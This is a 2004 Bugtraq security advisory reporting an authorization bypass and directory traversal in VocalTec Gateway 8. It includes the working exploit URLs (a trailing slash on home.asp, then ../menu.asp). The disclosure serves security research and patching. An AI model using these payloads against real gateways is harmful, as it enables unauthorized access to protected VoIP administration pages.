[34127] in bugtraq
VocalTec Gateway 8 Reverse Directory Transversal + Authorization Bypass
daemon@ATHENA.MIT.EDU (Rafel Ivgi, The-Insider)
Mon Mar 15 13:09:16 2004
Message-ID: <000701c40a5f$d12d14e0$cb4db350@fucku>
Reply-To: "Rafel Ivgi, The-Insider" <theinsider@012.net.il>
From: "Rafel Ivgi, The-Insider" <theinsider@012.net.il>
To: "bugtraq" <bugtraq@securityfocus.com>
Date: Mon, 15 Mar 2004 09:33:31 +0200
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Application VocalTec Gateway
Vendors: http://www.vocaltec.com
Versions: 8
Platforms: Windows
Bug: Reverse Directory Transversal +
Authorization Bypass
Risk: High
Exploitation: Remote with browser
Date: 14 Mar 2004
Author: Rafel Ivgi, The-Insider
e-mail: the_insider@mail.com
web: http://theinsider.deep-ice.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) Introduction
2) Bugs
3) The Code
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===============
1) Introduction
===============
It provides high voice quality and optimized packet voice streaming over
managed and public
(Internet) IP networks. Utilizing a robust, outdoor embedded platform,
VGW4/8 ensures enhanced
reliability and high performance.
VGW4/8 enables users to make local, long distance and international
telephone/fax calls using
existing telephony devices. Calls originating or terminating at a VGW4/8 may
be routed through
a carrier providing a VoIP Virtual Private Network service or over existing
corporate IP data networks.
Product details: http://www.vocaltec.com/html/telephony/gateway_4_8.shtml
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
======
2) Bug
======
Upon connecting to the server a "Basic Authorization" login is required.
If it failes there is information disclosure :
-------------------------------------------------------------
Access Error: Unauthorized
when trying to obtain /home.asp
Access to this document requires a User ID
-------------------------------------------------------------
Accessing the given file name again requests a "Basic Authorization" login.
By reffering to the file as a folder the authorization is bypassed.
For Example:
http://<host>/home.asp/
Now after we have bypassed the authorization we can use Reverse Directory
Transversal to
access any "Basic Authorization" protected file.
For Example:
http://<host>/home.asp/../menu.asp
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===========
3) The Code
===========
http://<host>/home.asp/
http://<host>/home.asp/../menu.asp
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Things that are unlikeable, are NOT impossible."
